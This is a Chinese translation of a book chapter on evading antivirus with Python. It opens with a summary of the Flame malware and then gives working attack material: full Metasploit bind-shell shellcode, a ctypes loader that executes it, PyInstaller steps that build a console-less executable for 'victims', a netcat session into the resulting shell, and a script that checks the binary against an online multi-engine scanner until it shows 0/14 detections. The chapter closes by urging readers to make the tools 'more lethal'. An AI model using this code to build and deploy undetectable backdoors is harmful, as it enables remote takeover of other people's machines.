1. **：躲避杀毒系统**

本章内容：

1. **使用Python Ctypes工作**
2. **使用Python躲避杀毒软件**
3. **使用Pyinstaller构建Win32可执行程序**
4. **利用HTTPLib发送GET/POST请求**
5. **和在线病毒扫描交互**

**这是一个“小男人”要向你证明的事情，无论你多么强大，无论你多么疯狂，你都必须接受失败！**

**—Saulo Ribeiro 巴西柔术 六次世界冠军**

**简介：Flame！**

2012年5月28日，伊朗的Maher中心检测到了一个复杂精妙的计算机网络攻击。这个攻击是此次的复杂，43种杀毒引擎的43种测试也无法辨认出在攻击中使用的恶意代码。发现一些ASCII字符串出现在代码中后将它称为Flame，恶意软件出现的感染的系统是伊朗的国家计算机战略组。编译Lua脚本命名为： Beetlejuice, Microbe, Frog, Snack, and Gator，恶意软件偷偷的通过蓝牙记录音频，感染附近的机器，上传截图和数据到远程的控制命令服务器。

估计恶意软件已经使用两年了，Kapersky实验室很快的解释说Flame是“迄今为止发现的最复杂的威胁之一”。它很大并且难以置信的复杂。然而，如何做到防病毒软件无法检测到它至少两年了？他们没有检测到它是因为大多数杀毒软件只要是将基于签名检测作为主要的检测方法。尽管一些厂商开始采取一些更复杂的方法如启发式或者名誉度，但这些依然是性概念。

在最后一章，我们将创建一个杀毒软件来躲避杀毒引擎。所使用的概念主要是Mark Baggett实现的，大约一年前它分享了他的方法。然而，绕过杀毒软件的方法在本章的写作时间时任然可用。注意到Flame，使用了编译的Lua脚本。我们将实现Mark的方法，编译Python脚本为Windows可执行程序，为了躲避杀毒软件。

**躲避杀毒软件**

为了创建恶意软件，我们需要恶意代码。Metasploit框架包含了一个恶意代码库。我们可以使用Metasploit生成一些C风格的ShellCode作为恶意软件的攻击荷载。我们将使用简单的Windows绑定shell，将绑定cmd.exe到TCP端口：这允许攻击者远程连接到主机并发出命令和cmd.exe程序相交互。

**attacker:∼# msfpayload windows/shell\_bind\_tcp LPORT=1337 C**

**/\***

**\***

**windows/shell\_bind\_tcp - 341 bytes**

**\* http://www.metasploit.com**

**\* VERBOSE=false, LPORT=1337, RHOST=, EXITFUNC=process,**

**\* InitialAutoRunScript=, AutoRunScript=**

**\*/**

**unsigned char buf[] =**

**"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"**

**"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"**

**"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"**

**"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"**

**"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"**

**"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"**

**"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"**

**"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"**

**"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"**

**"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"**

**"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"**

**"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"**

**"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"**

**"\x31\xdb\x53\x68\x02\x00\x05\x39\x89\xe6\x6a\x10\x56\x57\x68"**

**"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5"**

**"\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7\x68\x75"**

**"\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57"**

**"\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"**

**"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e"**

**"\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56"**

**"\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56"**

**"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"**

**"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";**

接下来，我们写一个脚本执行这个C风格shellcode。Python允许导入外来函数的库。我们可以导入ctypes库，它允许我们和C语言的数据类型交互。定义一个变量存储我们的shellcode之后，我们简单的把它作为一个函数并执行他，作为未来的参考，我们保存这个文件为bindshell.py。

**from ctypes import \***

**shellcode = ("\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64**

**\x8b\x52\x30"**

**"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"**

**"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"**

**"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"**

**"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"**

**"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"**

**"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"**

**"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"**

**"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"**

**"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"**

**"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"**

**"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"**

**"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"**

**"\x31\xdb\x53\x68\x02\x00\x05\x39\x89\xe6\x6a\x10\x56\x57\x68"**

**"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5"**

**"\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7\x68\x75"**

**"\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57"**

**"\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"**

**"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e"**

**"\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56"**

**"\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56"**

**"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"**

**"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5");**

**memorywithshell = create\_string\_buffer(shellcode, len(shellcode))**

**shell = cast(memorywithshell, CFUNCTYPE(c\_void\_p))**

**shell()**

而此时的脚本将会在装有Python解释器的Windows上执行，让我们通过Pyinstaller编译软件提高它。(可以从：http://www.pyinstaller.org/获得)。Pyinstaller将Python脚本编译为独立的可执行程序，可以分发给没有安装Python解释器的系统使用。在编译脚本之前，运行Configure.py脚本绑定Pyinstaller很重要。

**Microsoft Windows [Version 6.0.6000]**

**Copyright (c) 2006 Microsoft Corporation. All rights reserved.**

**C:\Users\victim>cd pyinstaller-1.5.1**

**C:\Users\victim\pyinstaller-1.5.1>python.exe Configure.py**

**I: read old config from config.dat**

**I: computing EXE\_dependencies**

**I: Finding TCL/TK...**

**<..SNIPPED..>**

**I: testing for UPX...**

**I: ...UPX unavailable**

**I: computing PYZ dependencies...**

**I: done generating config.dat**

接下来，我们将指导Pyinstaller建立一个说明文件为Windows的可执行文件做准备，我们将指示Pyinstaller不显示一个控制台用 --noconsole选项，最终构建一个最终的可执行程序到一个单独的文件用--onefile选项。

**C:\Users\victim\pyinstaller-1.5.1>python.exe Makespec.py --onefile**

**--noconsole bindshell.py**

**wrote C:\Users\victim\pyinstaller-1.5.1\bindshell\bindshell.spec**

**now run Build.py to build the executable**

接下来，建立了说明文件后，我们将指示Pyinstaller建立一个可执行文件分发给我们的受害者。Pyinstaller创建一个名为bindshell.exe的可执行程序在目录bindshell\dist\下，我们现在可以分发这个可执行程序给任何Windows 32位系统的受害者。

**C:\Users\victim\pyinstaller-1.5.1>python.exe Build.py bindshell\**

**bindshell.spec**

**I: Dependent assemblies of C:\Python27\python.exe:**

**I: x86\_Microsoft.VC90.CRT\_1fc8b3b9a1e18e3b\_9.0.21022.8\_none**

**checking Analysis**

**<..SNIPPED..>**

**checking EXE**

**rebuilding outEXE2.toc because bindshell.exe missing**

**building EXE from outEXE2.toc**

**Appending archive to EXE bindshell\dist\bindshell.exe**

在我们的受害者的电脑上运行可执行程序后，我们可以看到TCP的1337端口正在监听。

**C:\Users\victim\pyinstaller-1.5.1\bindshell\dist>bindshell.exe**

**C:\Users\victim\pyinstaller-1.5.1\bindshell\dist>netstat -anp TCP**

**Active Connections**

**Proto Local Address oreign Address State**

**TCP 0.0.0.0:135 0.0.0.0:0 LISTENING**

**TCP 0.0.0.0:1337 0.0.0.0:0 LISTENING**

**TCP 0.0.0.0:49152 0.0.0.0:0 LISTENING**

**TCP 0.0.0.0:49153 0.0.0.0:0 LISTENING**

**TCP 0.0.0.0:49154 0.0.0.0:0 LISTENING**

**TCP 0.0.0.0:49155 0.0.0.0:0 LISTENING**

**TCP 0.0.0.0:49156 0.0.0.0:0 LISTENING**

**TCP 0.0.0.0:49157 0.0.0.0:0 LISTENING**

连接到受害者的IP地址和TCP的1337端口，我们看到我们的恶意软件正在成功的运行，正如预期的那样。但是它能成功的躲避杀毒软件码？在下一节我们将编写一个Python脚本来验证：

**attacker$ nc 192.168.95.148 1337**

**Microsoft Windows [Version 6.0.6000]**

**Copyright (c) 2006 Microsoft Corporation. All rights reserved.**

**C:\Users\victim\pyinstaller-1.5.1\bindshell\dist>**

**验证躲避**

我们将使用服务vscan.novirusthanks.org扫描我们的可执行程序。NoVirusThanks提供了一个WEB页面接口上传可疑文件并用14种不同的杀毒引擎扫描。使用WEB页面接口上传恶意文件时可以告诉我们我们想知道的，让我们利用这个机会编写一个快速的Python脚本来自动化处理这个过程。用tcpdump捕获和WEB页面接口交互的过程给了我们的Python脚本的一个很好的开始点。我么可以看到，HTTP头包含了一个围绕文件内容边界的设定。我们的脚本需要这些头和这些参数，为了提交文件：

**POST / HTTP/1.1**

**Host: vscan.novirusthanks.org**

**Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryF17rwCZdGuPNPT9U**

**Referer: http://vscan.novirusthanks.org/**

**Accept-Language: en-us**

**Accept-Encoding: gzip, deflate**

**-------WebKitFormBoundaryF17rwCZdGuPNPT9U**

**Content-Disposition: form-data; name="upfile"; filename="bindshell.exe"**

**Content-Type: application/octet-stream**

**<..SNIPPED FILE CONTENTS..>**

**------WebKitFormBoundaryF17rwCZdGuPNPT9U**

**Content-Disposition: form-data; name="submitfile"**

**Submit File**

**------WebKitFormBoundaryF17rwCZdGuPNPT9U--**

我们现在要利用httplib编写一个快速的函数将文件名作为参数。打开文件后读取内容，它创建了一个到vscan.novirusthanks.org的连接并提交头部和参数。页面返回的响应指向上传文件的分析内容页面。

**def uploadFile(fileName):**

**print("[+] Uploading file to NoVirusThanks...")**

**fileContents = open(fileName, 'rb').read()**

**header = {'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryF17rwCZdGuPNPT9U'}**

**params = "------WebKitFormBoundaryF17rwCZdGuPNPT9U"**

**params += "\r\nContent-Disposition: form-data; "+"name=\"upfile\"; filename=\""+str(fileName)+"\""**

**params += "\r\nContent-Type: "+"application/octet stream\r\n\r\n"**

**params += fileContents**

**params += "\r\n------WebKitFormBoundaryF17rwCZdGuPNPT9U"**

**params += "\r\nContent-Disposition: form-data; "+"name=\"submitfile\"\r\n"**

**params += "\r\nSubmit File\r\n"**

**params +="------WebKitFormBoundaryF17rwCZdGuPNPT9U--\r\n"**

**conn = httplib.HTTPConnection('vscan.novirusthanks.org')**

**conn.request("POST", "/", params, header)**

**response = conn.getresponse()**

**location = response.getheader('location')**

**conn.close()**

**return location**

检查从vscan.novirusthanks.org,服务器返回的定位字段，我们可以看到服务器返回的构建页面来自：http://vscan.novirusthanks.org +/file/ + md5sum(file contents) + / + base64(filename)/。该页面包含了一些JavaScript来打印一些消息说正在扫描和加载页面直到完整的分析页面准备好。在这一点上，页面返回HTTP 302状态码，跳转到http://vscan.novirusthanks.org + /analysis/ +md5sum(file contents) + / + base64(filename)/页面。我们新的一页在URL中简单的交换了分析的文档：

**Date: Mon, 18 Jun 2012 16:45:48 GMT**

**Server: Apache**

**Location:http://vscan.novirusthanks.org/file/**

**d5bb12e32840f4c3fa00662e412a66fc/bXNmLWV4ZQ==/**

纵观分析页面的源代码，我们看到它包含一个检验率的字符串，该字符串包含了一些CSS代码，我们需要将它剥离出来并打印在控制台。

**[i]File Info[/i]**

**Report date: 2012-06-18 18:48:20 (GMT 1)**

**File name: [b]bindshell-exe[/b]**

**File size: 73802 bytes**

**MD5 Hash: d5bb12e32840f4c3fa00662e412a66fc**

**SHA1 Hash: e9309c2bb3f369dfbbd9b42deaf7c7ee5c29e364**

**Detection rate: [color=red]0[/color] on 14 ([color=red]0%[/color])**

在了解了如何连接分析页面并剥离CSS代码，我们可以编写Python脚本打印我们上传的可疑文件的扫描结果。首先，我们的脚本连接到返回扫描消息的文件页面，一旦这个页面返回一个HTTP 302重定向到我们的分析页面，我们可以使用正则表达式读取检测率然后替换CSS代码为空字符串。我们将打印处检测率字符串到屏幕上：

**def printResults(url):**

**status = 200**

**host = urlparse(url)[1]**

**path = urlparse(url)[2]**

**if 'analysis' not in path:**

**while status != 302:**

**conn = httplib.HTTPConnection(host)**

**conn.request('GET', path)**

**resp = conn.getresponse()**

**status = resp.status**

**print('[+] Scanning file...')**

**conn.close()**

**time.sleep(15)**

**print('[+] Scan Complete.')**

**path = path.replace('file', 'analysis')**

**conn = httplib.HTTPConnection(host)**

**conn.request('GET', path)**

**resp = conn.getresponse()**

**data = resp.read()**

**conn.close()**

**reResults = re.findall(r'Detection rate:.\*\) ', data)**

**htmlStripRes = reResults[1].replace('&lt;font color=\'red\'&gt;', '').replace('&lt;/font&gt;', '')**

**print('[+] ' + str(htmlStripRes))**

添加一些选项的解析，我们现在有一个脚本能够上传文件，使用vscan.novirusthanks.org服务扫描它，并打印检测率：

**import** re  
**import** httplib  
**import** time  
**import** os  
**import** optparse  
**from** urlparse **import** urlparse  
  
**def uploadFile**(fileName):  
 **print**("[+] Uploading file to NoVirusThanks...")  
 fileContents = open(fileName, 'rb').read()  
 header = {'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryF17rwCZdGuPNPT9U'}  
 params = "------WebKitFormBoundaryF17rwCZdGuPNPT9U"  
 params += "\r\nContent-Disposition: form-data; "+"name=\"upfile\"; filename=\""+str(fileName)+"\""  
 params += "\r\nContent-Type: "+"application/octet stream\r\n\r\n"  
 params += fileContents  
 params += "\r\n------WebKitFormBoundaryF17rwCZdGuPNPT9U"  
 params += "\r\nContent-Disposition: form-data; "+"name=\"submitfile\"\r\n"  
 params += "\r\nSubmit File\r\n"  
 params +="------WebKitFormBoundaryF17rwCZdGuPNPT9U--\r\n"  
 conn = httplib.HTTPConnection('vscan.novirusthanks.org')  
 conn.request("POST", "/", params, header)  
 response = conn.getresponse()  
 location = response.getheader('location')  
 conn.close()  
 **return** location  
**def printResults**(url):  
 status = 200  
 host = urlparse(url)[1]  
 path = urlparse(url)[2]  
 **if** 'analysis' **not in** path:  
 **while** status != 302:  
 conn = httplib.HTTPConnection(host)  
 conn.request('GET', path)  
 resp = conn.getresponse()  
 status = resp.status  
 **print**('[+] Scanning file...')  
 conn.close()  
 time.sleep(15)  
 **print**('[+] Scan Complete.')  
 path = path.replace('file', 'analysis')  
 conn = httplib.HTTPConnection(host)  
 conn.request('GET', path)  
 resp = conn.getresponse()  
 data = resp.read()  
 conn.close()  
 reResults = re.findall(r'Detection rate:.\*\) ', data)  
 htmlStripRes = reResults[1].replace('&lt;font color=\'red\'&gt;', '').replace('&lt;/font&gt;', '')  
 **print**('[+] ' + str(htmlStripRes))  
**def main**():  
 parser = optparse.OptionParser('usage%prog -f <filename>')  
 parser.add\_option('-f', dest='fileName', type='string', help='specify filename')  
 (options, args) = parser.parse\_args()  
 fileName = options.fileName  
 **if** fileName == None:  
 **print**(parser.usage)  
 exit(0)  
 **elif** os.path.isfile(fileName) == False:  
 **print**('[+] ' + fileName + ' does not exist.')  
 exit(0)  
 **else**:  
 loc = uploadFile(fileName)  
 printResults(loc)  
**if** \_\_name\_\_ == '\_\_main\_\_':  
 main()

让我们先来测试一个已知的恶意软件来验证杀毒程序是否能成功的检测出来。我们将建立一个Windows TCP绑定shell绑定TCP的1337端口。使用Metasploit默认的编码器，我们将编码它为一个标准的Windows可执行程序。注意结果，我们能看到14个杀毒引擎中有10个检测出该文件是恶意的，这个文件很明显不能躲避杀毒软件的检测：

**attacker$ msfpayload windows/shell\_bind\_tcp LPORT=1337 X > bindshell.exe**

**Created by msfpayload (http://www.metasploit.com).**

**Payload: windows/shell\_bind\_tcp**

**Length: 341**

**Options: {"LPORT"=>"1337"}**

**attacker$ python virusCheck.py –f bindshell.exe**

**[+] Uploading file to NoVirusThanks...**

**[+] Scanning file...**

**[+] Scanning file...**

**[+] Scanning file...**

**[+] Scanning file...**

**[+] Scanning file...**

**[+] Scanning file...**

**[+] Scanning file...**

**[+] Scanning file...**

**[+] Scanning file...**

**[+] Scan Complete.**

**[+] Detection rate: 10 on 14 (71%)**

然而，运行我们的检测脚本针对我们用Python脚本编译的可执行程序，我们可以看到14个杀毒引擎都检测失败。成功！我们可以用一点Python完全的躲避杀毒引擎。

**C:\Users\victim\pyinstaller-1.5.1>python.exe virusCheck.py -f bindshell\dist\bindshell.exe**

**[+] Uploading file to NoVirusThanks...**

**[+] Scan Complete.**

**[+] Scanning file...**

**[+] Scanning file...**

**[+] Scanning file...**

**[+] Scanning file...**

**[+] Scanning file...**

**[+] Scanning file...**

**[+] Detection rate: 0 on 14 (0%)**

**本章总结**

恭喜！你已经完成了最后一章，希望这本书对你有帮助。前面已经覆盖了各种不同的概念。从如何编写一些Python代码来协助网络测试开始，我们过渡到为法庭取证分析，分析网络流量，渗透测试无线网络，分析WEB页面和社交平台编写代码。在最后一章解释了一个编写躲避杀毒引擎扫描的程序的方法。

看完本书之后，返回到前面的章节。你可以怎样修改脚本来满足你特定的需求？你怎么让他们更有效，更高效或者更致命？例如在这一章中，你可以使用编码技术编码shellcode来躲避杀毒引擎吗？你会怎样编写今天的Python程序？对于这些想法，我们给你一些亚里士多德的智慧名言：

**“We make war that we may live in peace.”**